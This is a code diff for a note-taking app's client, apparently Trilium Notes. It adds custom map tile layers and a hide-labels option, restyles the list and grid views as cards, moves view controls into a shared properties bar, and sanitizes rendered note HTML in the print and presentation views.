+import openContextMenu, { openMapContextMenu } from "./context_menu";
+import Map from "./map";
+import { DEFAULT_MAP_LAYER_NAME, MAP_LAYERS, MapLayer } from "./map_layer";
+import Marker, { GpxTrack } from "./marker";

 const DEFAULT_COORDINATES: [number, number] = [3.878638227135724, 446.6630455551659];
 const DEFAULT_ZOOM = 2;
@@ -40,17 +45,18 @@ export default function GeoView({ note, noteIds, viewConfig, saveConfig }: ViewM
    const [ state, setState ] = useState(State.Normal);
    const [ coordinates, setCoordinates ] = useState(viewConfig?.view?.center);
    const [ zoom, setZoom ] = useState(viewConfig?.view?.zoom);
-    const [ layerName ] = useNoteLabel(note, "map:style");
    const [ hasScale ] = useNoteLabelBoolean(note, "map:scale");
+    const [ hideLabels ] = useNoteLabelBoolean(note, "map:hideLabels");
    const [ isReadOnly ] = useNoteLabelBoolean(note, "readOnly");
    const [ notes, setNotes ] = useState<FNote[]>([]);
+    const layerData = useLayerData(note);
    const spacedUpdate = useSpacedUpdate(() => {
        if (viewConfig) {
            saveConfig(viewConfig);
        }
    }, 5000);

-    useEffect(() => { froca.getNotes(noteIds).then(setNotes) }, [ noteIds ]);
+    useEffect(() => { froca.getNotes(noteIds).then(setNotes); }, [ noteIds ]);

    useEffect(() => {
        if (!note) return;
@@ -60,7 +66,7 @@ export default function GeoView({ note, noteIds, viewConfig, saveConfig }: ViewM

    // Note creation.
    useTriliumEvent("geoMapCreateChildNote", () => {
-         toast.showPersistent({
+        toast.showPersistent({
            icon: "plus",
            id: "geo-new-note",
            title: "New note",
@@ -130,11 +136,24 @@ export default function GeoView({ note, noteIds, viewConfig, saveConfig }: ViewM

    return (
        <div className={`geo-view ${state === State.NewNote ? "placing-note" : ""}`}>
+            <CollectionProperties
+                note={note}
+                rightChildren={<>
+                    <ToggleReadOnlyButton note={note} />
+                    <ButtonOrActionButton
+                        icon="bx bx-plus"
+                        text={t("geo-map.create-child-note-text")}
+                        title={t("geo-map.create-child-note-title")}
+                        triggerCommand="geoMapCreateChildNote"
+                        disabled={isReadOnly}
+                    />
+                </>}
+            />
            { coordinates !== undefined && zoom !== undefined && <Map
                apiRef={apiRef} containerRef={containerRef}
                coordinates={coordinates}
                zoom={zoom}
-                layerName={layerName ?? DEFAULT_MAP_LAYER_NAME}
+                layerData={layerData}
                viewportChanged={(coordinates, zoom) => {
                    if (!viewConfig) viewConfig = {};
                    viewConfig.view = { center: coordinates, zoom };
@@ -144,29 +163,65 @@ export default function GeoView({ note, noteIds, viewConfig, saveConfig }: ViewM
                onContextMenu={onContextMenu}
                scale={hasScale}
            >
-                {notes.map(note => <NoteWrapper note={note} isReadOnly={isReadOnly} />)}
+                {notes.map(note => <NoteWrapper note={note} isReadOnly={isReadOnly} hideLabels={hideLabels} />)}
            </Map>}
            <GeoMapTouchBar state={state} map={apiRef.current} />
        </div>
    );
 }

-function NoteWrapper({ note, isReadOnly }: { note: FNote, isReadOnly: boolean }) {
+function useLayerData(note: FNote) {
+    const [ layerName ] = useNoteLabel(note, "map:style");
+    // Memo is needed because it would generate unnecessary reloads due to layer change.
+    const layerData = useMemo(() => {
+        // Custom layers.
+        if (layerName?.startsWith("http")) {
+            return {
+                name: "Custom",
+                type: "raster",
+                url: layerName,
+                attribution: ""
+            } satisfies MapLayer;
+        }
+
+        // Built-in layers.
+        const layerData = MAP_LAYERS[layerName ?? ""] ?? MAP_LAYERS[DEFAULT_MAP_LAYER_NAME];
+        return layerData;
+    }, [ layerName ]);
+
+    return layerData;
+}
+
+function ToggleReadOnlyButton({ note }: { note: FNote }) {
+    const [ isReadOnly, setReadOnly ] = useNoteLabelBoolean(note, "readOnly");
+
+    return <ActionButton
+        text={isReadOnly ? t("toggle_read_only_button.unlock-editing") : t("toggle_read_only_button.lock-editing")}
+        icon={isReadOnly ? "bx bx-lock-open-alt" : "bx bx-lock-alt"}
+        onClick={() => setReadOnly(!isReadOnly)}
+    />;
+}
+
+function NoteWrapper({ note, isReadOnly, hideLabels }: {
+    note: FNote,
+    isReadOnly: boolean,
+    hideLabels: boolean
+}) {
    const mime = useNoteProperty(note, "mime");
    const [ location ] = useNoteLabel(note, LOCATION_ATTRIBUTE);

    if (mime === "application/gpx+xml") {
-        return <NoteGpxTrack note={note} />;
+        return <NoteGpxTrack note={note} hideLabels={hideLabels} />;
    }

    if (location) {
        const latLng = location?.split(",", 2).map((el) => parseFloat(el)) as [ number, number ] | undefined;
        if (!latLng) return;
-        return <NoteMarker note={note} editable={!isReadOnly} latLng={latLng} />;
+        return <NoteMarker note={note} editable={!isReadOnly} latLng={latLng} hideLabels={hideLabels} />;
    }
 }

-function NoteMarker({ note, editable, latLng }: { note: FNote, editable: boolean, latLng: [number, number] }) {
+function NoteMarker({ note, editable, latLng, hideLabels }: { note: FNote, editable: boolean, latLng: [number, number], hideLabels: boolean }) {
    // React to changes
    const [ color ] = useNoteLabel(note, "color");
    const [ iconClass ] = useNoteLabel(note, "iconClass");
@@ -174,8 +229,9 @@ function NoteMarker({ note, editable, latLng }: { note: FNote, editable: boolean

    const title = useNoteProperty(note, "title");
    const icon = useMemo(() => {
-        return buildIcon(note.getIcon(), note.getColorClass() ?? undefined, title, note.noteId, archived);
-    }, [ iconClass, color, title, note.noteId, archived]);
+        const titleOrNone = hideLabels ? undefined : title;
+        return buildIcon(note.getIcon(), note.getColorClass() ?? undefined, titleOrNone, note.noteId, archived);
+    }, [ iconClass, color, title, note.noteId, archived, hideLabels ]);

    const onClick = useCallback(() => {
        appContext.triggerCommand("openInPopup", { noteIdOrPath: note.noteId });
@@ -204,10 +260,10 @@ function NoteMarker({ note, editable, latLng }: { note: FNote, editable: boolean
        onDragged={editable ? onDragged : undefined}
        onClick={!editable ? onClick : undefined}
        onContextMenu={onContextMenu}
-    />
+    />;
 }

-function NoteGpxTrack({ note }: { note: FNote }) {
+function NoteGpxTrack({ note, hideLabels }: { note: FNote, hideLabels?: boolean }) {
    const [ xmlString, setXmlString ] = useState<string>();
    const blob = useNoteBlob(note);

@@ -228,7 +284,7 @@ function NoteGpxTrack({ note }: { note: FNote }) {

    const options = useMemo<GPXOptions>(() => ({
        markers: {
-            startIcon: buildIcon(note.getIcon(), note.getColorClass(), note.title),
+            startIcon: buildIcon(note.getIcon(), note.getColorClass(), hideLabels ? undefined : note.title),
            endIcon: buildIcon("bxs-flag-checkered"),
            wptIcons: {
                "": buildIcon("bx bx-pin")
@@ -237,8 +293,8 @@ function NoteGpxTrack({ note }: { note: FNote }) {
        polyline_options: {
            color: note.getLabelValue("color") ?? "blue"
        }
-    }), [ color, iconClass ]);
-    return xmlString && <GpxTrack gpxXmlString={xmlString} options={options} />
+    }), [ color, iconClass, hideLabels ]);
+    return xmlString && <GpxTrack gpxXmlString={xmlString} options={options} />;
 }

 function buildIcon(bxIconClass: string, colorClass?: string, title?: string, noteIdLink?: string, archived?: boolean) {
@@ -292,5 +348,5 @@ function GeoMapTouchBar({ state, map }: { state: State, map: L.Map | null | unde
                enabled={state === State.Normal}
            />
        </TouchBar>
-    )
+    );
 }
--- a/apps/client/src/widgets/collections/geomap/map.tsx
+++ b/apps/client/src/widgets/collections/geomap/map.tsx
@@ -1,7 +1,7 @@
 import { useEffect, useImperativeHandle, useRef, useState } from "preact/hooks";
 import L, { control, LatLng, Layer, LeafletMouseEvent } from "leaflet";
 import "leaflet/dist/leaflet.css";
-import { MAP_LAYERS } from "./map_layer";
+import { MAP_LAYERS, type MapLayer } from "./map_layer";
 import { ComponentChildren, createContext, RefObject } from "preact";
 import { useElementSize, useSyncedRef } from "../../react/hooks";

@@ -12,7 +12,7 @@ interface MapProps {
    containerRef?: RefObject<HTMLDivElement>;
    coordinates: LatLng | [number, number];
    zoom: number;
-    layerName: string;
+    layerData: MapLayer;
    viewportChanged: (coordinates: LatLng, zoom: number) => void;
    children: ComponentChildren;
    onClick?: (e: LeafletMouseEvent) => void;
@@ -21,7 +21,7 @@ interface MapProps {
    scale: boolean;
 }

-export default function Map({ coordinates, zoom, layerName, viewportChanged, children, onClick, onContextMenu, scale, apiRef, containerRef: _containerRef, onZoom }: MapProps) {
+export default function Map({ coordinates, zoom, layerData, viewportChanged, children, onClick, onContextMenu, scale, apiRef, containerRef: _containerRef, onZoom }: MapProps) {
    const mapRef = useRef<L.Map>(null);
    const containerRef = useSyncedRef<HTMLDivElement>(_containerRef);

@@ -49,8 +49,6 @@ export default function Map({ coordinates, zoom, layerName, viewportChanged, chi
    const [ layer, setLayer ] = useState<Layer>();
    useEffect(() => {
        async function load() {
-            const layerData = MAP_LAYERS[layerName];
-
            if (layerData.type === "vector") {
                const style = (typeof layerData.style === "string" ? layerData.style : await layerData.style());
                await import("@maplibre/maplibre-gl-leaflet");
@@ -68,7 +66,7 @@ export default function Map({ coordinates, zoom, layerName, viewportChanged, chi
        }

        load();
-    }, [ layerName ]);
+    }, [ layerData ]);

    // Attach layer to the map.
    useEffect(() => {
@@ -139,7 +137,7 @@ export default function Map({ coordinates, zoom, layerName, viewportChanged, chi
    return (
        <div
            ref={containerRef}
-            className={`geo-map-container ${MAP_LAYERS[layerName].isDarkTheme ? "dark" : ""}`}
+            className={`geo-map-container ${layerData.isDarkTheme ? "dark" : ""}`}
        >
            <ParentMap.Provider value={mapRef.current}>
                {children}
--- a/apps/client/src/widgets/collections/geomap/map_layer.ts
+++ b/apps/client/src/widgets/collections/geomap/map_layer.ts
@@ -1,20 +1,17 @@
-export interface MapLayer {
-    name: string;
-    isDarkTheme?: boolean;
-}
-
-interface VectorLayer extends MapLayer {
+export type MapLayer = ({
    type: "vector";
    style: string | (() => Promise<{}>)
-}
-
-interface RasterLayer extends MapLayer {
+} | {
    type: "raster";
    url: string;
    attribution: string;
-}
+}) & {
+    // Common properties
+    name: string;
+    isDarkTheme?: boolean;
+};

-export const MAP_LAYERS: Record<string, VectorLayer | RasterLayer> = {
+export const MAP_LAYERS: Record<string, MapLayer> = {
    "openstreetmap": {
        name: "OpenStreetMap",
        type: "raster",
--- a/apps/client/src/widgets/collections/legacy/ListOrGridView.css
+++ b/apps/client/src/widgets/collections/legacy/ListOrGridView.css
@@ -1,5 +1,5 @@
 .note-list {
-    overflow: hidden;
+    overflow: visible;
    position: relative;
    height: 100%;
 }
@@ -100,23 +100,206 @@
    overflow: auto;
 }

-.note-expander {
-    font-size: x-large;
-    position: relative;
-    top: 3px;
-    cursor: pointer;
+/* #region List view */
+
+@keyframes note-preview-show {
+    from {
+        opacity: 0;
+    } to {
+        opacity: 1;
+    }
 }

-.note-list-pager {
-    text-align: center;
+.nested-note-list {
+    --card-nested-section-indent: 25px;
+
+    &.search-results {
+        --card-nested-section-indent: 32px;
+    }
 }

-.note-list.list-view .note-path {
-    margin-left: 0.5em;
-    vertical-align: middle;
-    opacity: 0.5;
+/* List item */
+.nested-note-list-item {
+    h5 {
+        display: flex;
+        align-items: center;
+        font-size: 1em;
+        font-weight: normal;
+        margin: 0;
+    }
+
+    .note-expander {
+        margin-inline-end: 4px;
+        font-size: x-large;
+        cursor: pointer;
+    }
+
+    .tn-icon {
+        margin-inline-end: 8px;
+        color: var(--note-list-view-icon-color);
+        font-size: 1.2em;
+    }
+
+    .note-book-title {
+        --link-hover-background: transparent;
+        --link-hover-color: currentColor;
+        color: inherit;
+        font-weight: normal;
+    }
+
+    .note-path {
+        margin-left: 0.5em;
+        vertical-align: middle;
+        opacity: 0.5;
+    }
+
+    .note-list-attributes {
+        flex-grow: 1;
+        margin-inline-start: 1em;
+        text-align: right;
+        font-size: .75em;
+        opacity: .75;
+    }
+
+    .nested-note-list-item-menu {
+        margin-inline-start: 8px;
+        flex-shrink: 0;
+    }
+
+    &.archived {
+        span.tn-icon + span,
+        .tn-icon {
+            opacity: .6;
+        }
+    }
+
+    &.use-note-color {
+        span.tn-icon + span,
+        .nested-note-list:not(.search-results) & .tn-icon,
+        .rendered-note-attributes {
+            color: var(--custom-color);
+        }
+    }
 }

+.nested-note-list:not(.search-results) h5 {
+    span.tn-icon + span,
+    .note-list-attributes {
+        white-space: nowrap;
+        overflow: hidden;
+        text-overflow: ellipsis;
+    }
+}
+
+/* List item (search results view) */
+.nested-note-list.search-results .nested-note-list-item {
+    span.tn-icon + span > span {
+        display: flex;
+        flex-direction: column-reverse;
+        align-items: flex-start;
+    }
+
+    small {
+        line-height: .85em;
+    }
+
+    .note-path {
+        margin-left: 0;
+        font-size: .85em;
+        line-height: .85em;
+        font-weight: 500;
+        letter-spacing: .5pt;
+    }
+
+    .tn-icon {
+        display: flex;
+        flex-shrink: 0;
+        justify-content: center;
+        align-items: center;
+        width: 1.75em;
+        height: 1.75em;
+        margin-inline-end: 12px;
+        border-radius: 50%;
+        background: var(--note-icon-custom-background-color, var(--note-list-view-large-icon-background));
+        font-size: 1.2em;
+        color: var(--note-icon-custom-color, var(--note-list-view-large-icon-color));
+    }
+
+    h5 .ck-find-result {
+        background: var(--note-list-view-search-result-highlight-background);
+        color: var(--note-list-view-search-result-highlight-color);
+        font-weight: 600;
+        text-decoration: underline;
+    }
+}
+
+/* Note content preview */
+.nested-note-list .note-book-content {
+    display: none;
+    outline: 1px solid var(--note-list-view-content-background);
+    border-radius: 8px;
+    background-color: var(--note-list-view-content-background);
+    overflow: hidden;
+    user-select: text;
+    font-size: .85rem;
+    animation: note-preview-show .25s ease-out;
+    will-change: opacity;
+
+    &.note-book-content-ready {
+        display: block;
+    }
+
+    > .rendered-content > *:last-child {
+        margin-bottom: 0;
+    }
+
+    &.type-text {
+        padding: 8px 24px;
+
+        .ck-content > *:last-child {
+            margin-bottom: 0;
+        }
+    }
+
+    &.type-protectedSession {
+        padding: 20px;
+    }
+
+    &.type-image {
+        padding: 0;
+    }
+
+    &.type-pdf {
+        iframe {
+            height: 50vh;
+        }
+
+        .file-footer {
+            padding: 8px;
+        }
+    }
+
+    &.type-webView {
+        display: flex;
+        flex-direction: column;
+        justify-content: center;
+        min-height: 50vh;
+    }
+
+    .ck-find-result {
+        outline: 2px solid var(--note-list-view-content-search-result-highlight-background);
+        border-radius: 4px;
+        background: var(--note-list-view-content-search-result-highlight-background);
+        color: var(--note-list-view-content-search-result-highlight-color);
+    }
+}
+
+.note-content-preview:has(.note-book-content:empty) {
+    display: none;
+}
+
+/* #endregion */
+
 /* #region Grid view */
 .note-list.grid-view .note-list-container {
    display: flex;
@@ -128,6 +311,10 @@
    border: 1px solid transparent;
 }

+body.mobile .note-list.grid-view .note-book-card {
+    flex-basis: 150px;
+}
+
 .note-list.grid-view .note-book-card {
    max-height: 300px;
 }
--- a/apps/client/src/widgets/collections/legacy/ListOrGridView.tsx
+++ b/apps/client/src/widgets/collections/legacy/ListOrGridView.tsx
@@ -1,4 +1,5 @@
 import "./ListOrGridView.css";
+import { Card, CardSection } from "../../react/Card";

 import { useEffect, useRef, useState } from "preact/hooks";

@@ -7,25 +8,38 @@ import attribute_renderer from "../../../services/attribute_renderer";
 import content_renderer from "../../../services/content_renderer";
 import { t } from "../../../services/i18n";
 import link from "../../../services/link";
-import { useImperativeSearchHighlighlighting, useNoteLabel, useNoteLabelBoolean } from "../../react/hooks";
+import CollectionProperties from "../../note_bars/CollectionProperties";
+import { useImperativeSearchHighlighlighting, useNoteLabel, useNoteLabelBoolean, useNoteProperty } from "../../react/hooks";
 import Icon from "../../react/Icon";
 import NoteLink from "../../react/NoteLink";
 import { ViewModeProps } from "../interface";
 import { Pager, usePagination } from "../Pagination";
 import { filterChildNotes, useFilteredNoteIds } from "./utils";
+import { JSX } from "preact/jsx-runtime";
+import { clsx } from "clsx";
+import ActionButton from "../../react/ActionButton";
+import linkContextMenuService from "../../../menus/link_context_menu";
+import { TargetedMouseEvent } from "preact";

 export function ListView({ note, noteIds: unfilteredNoteIds, highlightedTokens }: ViewModeProps<{}>) {
    const expandDepth = useExpansionDepth(note);
    const noteIds = useFilteredNoteIds(note, unfilteredNoteIds);
    const { pageNotes, ...pagination } = usePagination(note, noteIds);
    const [ includeArchived ] = useNoteLabelBoolean(note, "includeArchived");
+    const noteType = useNoteProperty(note, "type");
+    const hasCollectionProperties = [ "book", "search" ].includes(noteType ?? "");

    return (
        <div class="note-list list-view">
-            { noteIds.length > 0 && <div class="note-list-wrapper">
-                <Pager {...pagination} />
+            <CollectionProperties
+                note={note}
+                centerChildren={<Pager {...pagination} />}
+            />

-                <div class="note-list-container use-tn-links">
+            { noteIds.length > 0 && <div class="note-list-wrapper">
+                {!hasCollectionProperties && <Pager {...pagination} />}
+
+                <Card className={clsx("nested-note-list", {"search-results": (noteType === "search")})}>
                    {pageNotes?.map(childNote => (
                        <ListNoteCard
                            key={childNote.noteId}
@@ -33,7 +47,7 @@ export function ListView({ note, noteIds: unfilteredNoteIds, highlightedTokens }
                            expandDepth={expandDepth} highlightedTokens={highlightedTokens}
                            currentLevel={1} includeArchived={includeArchived} />
                    ))}
-                </div>
+                </Card>

                <Pager {...pagination} />
            </div>}
@@ -45,11 +59,18 @@ export function GridView({ note, noteIds: unfilteredNoteIds, highlightedTokens }
    const noteIds = useFilteredNoteIds(note, unfilteredNoteIds);
    const { pageNotes, ...pagination } = usePagination(note, noteIds);
    const [ includeArchived ] = useNoteLabelBoolean(note, "includeArchived");
+    const noteType = useNoteProperty(note, "type");
+    const hasCollectionProperties = [ "book", "search" ].includes(noteType ?? "");

    return (
        <div class="note-list grid-view">
+            <CollectionProperties
+                note={note}
+                centerChildren={<Pager {...pagination} />}
+            />
+
            <div class="note-list-wrapper">
-                <Pager {...pagination} />
+                {!hasCollectionProperties && <Pager {...pagination} />}

                <div class="note-list-container use-tn-links">
                    {pageNotes?.map(childNote => (
@@ -78,27 +99,52 @@ function ListNoteCard({ note, parentNote, highlightedTokens, currentLevel, expan
    // Reset expand state if switching to another note, or if user manually toggled expansion state.
    useEffect(() => setExpanded(currentLevel <= expandDepth), [ note, currentLevel, expandDepth ]);

+    let subSections: JSX.Element | undefined = undefined;
+    if (isExpanded) {
+        subSections = <>
+            <CardSection className="note-content-preview">
+                <NoteContent note={note}
+                             highlightedTokens={highlightedTokens}
+                             noChildrenList
+                             includeArchivedNotes={includeArchived} />
+            </CardSection>
+
+            <NoteChildren note={note}
+                          parentNote={parentNote}
+                          highlightedTokens={highlightedTokens}
+                          currentLevel={currentLevel}
+                          expandDepth={expandDepth}
+                          includeArchived={includeArchived} />
+        </>
+    }
+    
    return (
-        <div
-            className={`note-book-card no-tooltip-preview ${isExpanded ? "expanded" : ""} ${note.isArchived ? "archived" : ""}`}
+        <CardSection
+            className={clsx("nested-note-list-item", "no-tooltip-preview", note.getColorClass(), {
+                "expanded": isExpanded,
+                "archived": note.isArchived
+            })}
+            subSections={subSections}
+            subSectionsVisible={isExpanded}
+            highlightOnHover
            data-note-id={note.noteId}
        >
-            <h5 className="note-book-header">
-                <span
-                    className={`note-expander ${isExpanded ? "bx bx-chevron-down" : "bx bx-chevron-right"}`}
-                    onClick={() => setExpanded(!isExpanded)}
-                />
-
+            <h5>
+                <span className={`note-expander ${isExpanded ? "bx bx-chevron-down" : "bx bx-chevron-right"}`} 
+                      onClick={() => setExpanded(!isExpanded)}/>
                <Icon className="note-icon" icon={note.getIcon()} />
-                <NoteLink className="note-book-title" notePath={notePath} noPreview showNotePath={parentNote.type === "search"} highlightedTokens={highlightedTokens} />
+                <NoteLink className="note-book-title"
+                          notePath={notePath}
+                          noPreview
+                          showNotePath={parentNote.type === "search"}
+                          highlightedTokens={highlightedTokens} />
                <NoteAttributes note={note} />
+                <ActionButton className="nested-note-list-item-menu"
+                              icon="bx bx-dots-vertical-rounded" text=""
+                              onClick={(e) => openNoteMenu(notePath, e)} 
+                />
            </h5>
-
-            {isExpanded && <>
-                <NoteContent note={note} highlightedTokens={highlightedTokens} noChildrenList includeArchivedNotes={includeArchived} />
-                <NoteChildren note={note} parentNote={parentNote} highlightedTokens={highlightedTokens} currentLevel={currentLevel} expandDepth={expandDepth} includeArchived={includeArchived} />
-            </>}
-        </div>
+        </CardSection>
    );
 }

@@ -140,7 +186,7 @@ function NoteAttributes({ note }: { note: FNote }) {
    return <span className="note-list-attributes" ref={ref} />;
 }

-function NoteContent({ note, trim, noChildrenList, highlightedTokens, includeArchivedNotes }: {
+export function NoteContent({ note, trim, noChildrenList, highlightedTokens, includeArchivedNotes }: {
    note: FNote;
    trim?: boolean;
    noChildrenList?: boolean;
@@ -150,6 +196,9 @@ function NoteContent({ note, trim, noChildrenList, highlightedTokens, includeArc
    const contentRef = useRef<HTMLDivElement>(null);
    const highlightSearch = useImperativeSearchHighlighlighting(highlightedTokens);

+    const [ready, setReady] = useState(false);
+    const [noteType, setNoteType] = useState<string>("none");
+
    useEffect(() => {
        content_renderer.getRenderedContent(note, {
            trim,
@@ -164,17 +213,19 @@ function NoteContent({ note, trim, noChildrenList, highlightedTokens, includeArc
                } else {
                    contentRef.current.replaceChildren();
                }
-                contentRef.current.classList.add(`type-${type}`);
                highlightSearch(contentRef.current);
+                setNoteType(type);
+                setReady(true);
            })
            .catch(e => {
                console.warn(`Caught error while rendering note '${note.noteId}' of type '${note.type}'`);
                console.error(e);
                contentRef.current?.replaceChildren(t("collections.rendering_error"));
+                setReady(true);
            });
    }, [ note, highlightedTokens ]);

-    return <div ref={contentRef} className="note-book-content" />;
+    return <div ref={contentRef} className={clsx("note-book-content", `type-${noteType}`, {"note-book-content-ready": ready})} />;
 }

 function NoteChildren({ note, parentNote, highlightedTokens, currentLevel, expandDepth, includeArchived }: {
@@ -223,3 +274,8 @@ function useExpansionDepth(note: FNote) {
    return parseInt(expandDepth, 10);

 }
+
+function openNoteMenu(notePath, e: TargetedMouseEvent<HTMLElement>) {
+    linkContextMenuService.openContextMenu(notePath, e);
+    e.stopPropagation()
+}
--- a/apps/client/src/widgets/collections/legacy/ListPrintView.tsx
+++ b/apps/client/src/widgets/collections/legacy/ListPrintView.tsx
@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
 import type { PrintReport } from "../../../print";
 import content_renderer from "../../../services/content_renderer";
 import froca from "../../../services/froca";
+import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
 import type { ViewModeProps } from "../interface";
 import { filterChildNotes, useFilteredNoteIds } from "./utils";

@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
                <h1>{note.title}</h1>

                {state.notesWithContent?.map(({ note: childNote, contentEl }) => (
-                    <section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
+                    <section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
                ))}
            </div>
        </div>
--- a/apps/client/src/widgets/collections/presentation/index.css
+++ b/apps/client/src/widgets/collections/presentation/index.css
@@ -1,11 +1,7 @@
-.presentation-button-bar {
-    position: absolute;
-    top: 1em;
-    right: 1em;
-
-    .floating-buttons-children {
-        top: 0;
-    }
+.presentation-view {
+    display: flex;
+    flex-direction: column;
+    height: 100%;
 }

 .presentation-container {
--- a/apps/client/src/widgets/collections/presentation/index.tsx
+++ b/apps/client/src/widgets/collections/presentation/index.tsx
@@ -1,18 +1,21 @@
-import { ViewModeMedia, ViewModeProps } from "../interface";
+import "./index.css";
+
+import { RefObject } from "preact";
 import { useEffect, useLayoutEffect, useRef, useState } from "preact/hooks";
 import Reveal from "reveal.js";
 import slideBaseStylesheet from "reveal.js/dist/reveal.css?raw";
-import slideCustomStylesheet from "./slidejs.css?raw";
-import { buildPresentationModel, PresentationModel, PresentationSlideBaseModel } from "./model";
-import ShadowDom from "../../react/ShadowDom";
-import ActionButton from "../../react/ActionButton";
-import "./index.css";
-import { RefObject } from "preact";
+
 import { openInCurrentNoteContext } from "../../../components/note_context";
-import { useNoteLabelWithDefault, useTriliumEvent } from "../../react/hooks";
-import { t } from "../../../services/i18n";
-import { DEFAULT_THEME, loadPresentationTheme } from "./themes";
 import FNote from "../../../entities/fnote";
+import { t } from "../../../services/i18n";
+import CollectionProperties from "../../note_bars/CollectionProperties";
+import ActionButton from "../../react/ActionButton";
+import { useNoteLabelWithDefault, useTriliumEvent } from "../../react/hooks";
+import ShadowDom from "../../react/ShadowDom";
+import { ViewModeMedia, ViewModeProps } from "../interface";
+import { buildPresentationModel, PresentationModel, PresentationSlideBaseModel } from "./model";
+import slideCustomStylesheet from "./slidejs.css?raw";
+import { DEFAULT_THEME, loadPresentationTheme } from "./themes";

 export default function PresentationView({ note, noteIds, media, onReady, onProgressChanged }: ViewModeProps<{}>) {
    const [ presentation, setPresentation ] = useState<PresentationModel>();
@@ -51,14 +54,17 @@ export default function PresentationView({ note, noteIds, media, onReady, onProg

    if (media === "screen") {
        return (
-            <>
+            <div class="presentation-view">
+                <CollectionProperties
+                    note={note}
+                    rightChildren={<ButtonOverlay containerRef={containerRef} api={api} />}
+                />
                <ShadowDom
                    className="presentation-container"
                    containerRef={containerRef}
                >{content}</ShadowDom>
-                <ButtonOverlay containerRef={containerRef} api={api} />
-            </>
-        )
+            </div>
+        );
    } else if (media === "print") {
        // Printing needs a query parameter that is read by Reveal.js.
        const url = new URL(window.location.href);
@@ -108,42 +114,34 @@ function ButtonOverlay({ containerRef, api }: { containerRef: RefObject<HTMLDivE
    }, [ api ]);

    return (
-        <div className="presentation-button-bar">
-            <div className="floating-buttons-children">
-                <ActionButton
-                    className="floating-button"
-                    icon="bx bx-edit"
-                    text={t("presentation_view.edit-slide")}
-                    noIconActionClass
-                    onClick={e => {
-                        const currentSlide = api?.getCurrentSlide();
-                        const noteId = getNoteIdFromSlide(currentSlide);
+        <>
+            <ActionButton
+                icon="bx bx-edit"
+                text={t("presentation_view.edit-slide")}
+                onClick={e => {
+                    const currentSlide = api?.getCurrentSlide();
+                    const noteId = getNoteIdFromSlide(currentSlide);

-                        if (noteId) {
-                            openInCurrentNoteContext(e, noteId);
-                        }
-                    }}
-                />
+                    if (noteId) {
+                        openInCurrentNoteContext(e, noteId);
+                    }
+                }}
+            />

-                <ActionButton
-                    className="floating-button"
-                    icon="bx bx-grid-horizontal"
-                    text={t("presentation_view.slide-overview")}
-                    active={isOverviewActive}
-                    noIconActionClass
-                    onClick={() => api?.toggleOverview()}
-                />
+            <ActionButton
+                icon="bx bx-grid-horizontal"
+                text={t("presentation_view.slide-overview")}
+                active={isOverviewActive}
+                onClick={() => api?.toggleOverview()}
+            />

-                <ActionButton
-                    className="floating-button"
-                    icon="bx bx-fullscreen"
-                    text={t("presentation_view.start-presentation")}
-                    noIconActionClass
-                    onClick={() => containerRef.current?.requestFullscreen()}
-                />
-            </div>
-        </div>
-    )
+            <ActionButton
+                icon="bx bx-fullscreen"
+                text={t("presentation_view.start-presentation")}
+                onClick={() => containerRef.current?.requestFullscreen()}
+            />
+        </>
+    );
 }

 function Presentation({ presentation, setApi } : { presentation: PresentationModel, setApi: (api: Reveal.Api | undefined) => void }) {
@@ -179,7 +177,7 @@ function Presentation({ presentation, setApi } : { presentation: PresentationMod
            api.destroy();
            setRevealApi(undefined);
            setApi(undefined);
-        }
+        };
    }, []);

    useEffect(() => {
@@ -191,19 +189,19 @@ function Presentation({ presentation, setApi } : { presentation: PresentationMod
            <div className="slides">
                {presentation.slides?.map(slide => {
                    if (!slide.verticalSlides) {
-                        return <Slide key={slide.noteId} slide={slide} />
-                    } else {
-                        return (
-                            <section>
-                                <Slide key={slide.noteId} slide={slide} />
-                                {slide.verticalSlides.map(slide => <Slide key={slide.noteId} slide={slide} /> )}
-                            </section>
-                        );
+                        return <Slide key={slide.noteId} slide={slide} />;
                    }
+                    return (
+                        <section>
+                            <Slide key={slide.noteId} slide={slide} />
+                            {slide.verticalSlides.map(slide => <Slide key={slide.noteId} slide={slide} /> )}
+                        </section>
+                    );
+
                })}
            </div>
        </div>
-    )
+    );

 }

--- a/apps/client/src/widgets/collections/presentation/model.ts
+++ b/apps/client/src/widgets/collections/presentation/model.ts
@@ -1,6 +1,7 @@
 import { NoteType } from "@triliumnext/commons";
 import FNote from "../../../entities/fnote";
 import contentRenderer from "../../../services/content_renderer";
+import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
 import { ProgressChangedFn } from "../interface";

 type DangerouslySetInnerHTML = { __html: string; };
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
    const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
        noChildrenList: true
    });
-    return { __html: $renderedContent.html() };
+    return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
 }

 async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {
--- a/apps/client/src/widgets/collections/table/index.css
+++ b/apps/client/src/widgets/collections/table/index.css
@@ -3,7 +3,8 @@
    position: relative;
    height: 100%;
    user-select: none;
-    padding: 0 5px 0 10px;
+    display: flex;
+    flex-direction: column;

    .tabulator-tableholder {
        height: unset !important;
--- a/apps/client/src/widgets/collections/table/index.tsx
+++ b/apps/client/src/widgets/collections/table/index.tsx
@@ -1,20 +1,22 @@
-import { useCallback, useContext, useEffect, useMemo, useRef, useState } from "preact/hooks";
-import { ViewModeProps } from "../interface";
-import { TableData } from "./rows";
-import { useLegacyWidget } from "../../react/hooks";
-import Tabulator from "./tabulator";
-import { Tabulator as VanillaTabulator, SortModule, FormatModule, InteractionModule, EditModule, ResizeColumnsModule, FrozenColumnsModule, PersistenceModule, MoveColumnsModule, MoveRowsModule, DataTreeModule, Options, RowComponent} from 'tabulator-tables';
-import { useContextMenu } from "./context_menu";
-import { ParentComponent } from "../../react/react_utils";
-import FNote from "../../../entities/fnote";
-import { t } from "../../../services/i18n";
-import Button from "../../react/Button";
 import "./index.css";
-import useRowTableEditing from "./row_editing";
-import useColTableEditing from "./col_editing";
